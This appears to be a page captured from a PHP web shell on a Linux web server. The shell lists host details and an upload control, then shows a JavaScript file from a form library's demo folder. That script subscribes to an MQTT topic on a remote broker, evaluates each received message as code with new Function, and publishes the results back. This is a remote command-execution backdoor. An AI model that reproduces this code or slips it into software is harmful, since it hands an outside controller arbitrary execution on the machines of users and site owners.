![]() System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /var/www/html/libs/absol-form/demo/ |
Upload File : |
const client = MQTT.connect('wss://absol.cf:9884'); client.on('connect', function () { client.subscribe('x-command', function (err) { }); }); client.on('message', function (topic, message) { message = message.toString(); if (topic === 'x-command'){ var taskId = message.substring(0, 5); var command = message.substring(5); res = (new Function('return '+ command))(); if (res && res.then) { res.then(result => { client.publish('x-resolve', absol.generateJSVariable({ taskId: taskId, resolve: result })); }, err => { client.publish('x-resolve', absol.generateJSVariable({ taskId: taskId, reject: err })); }); } else { client.publish('x-resolve', absol.generateJSVariable({ taskId: taskId, resolve: res })); } } });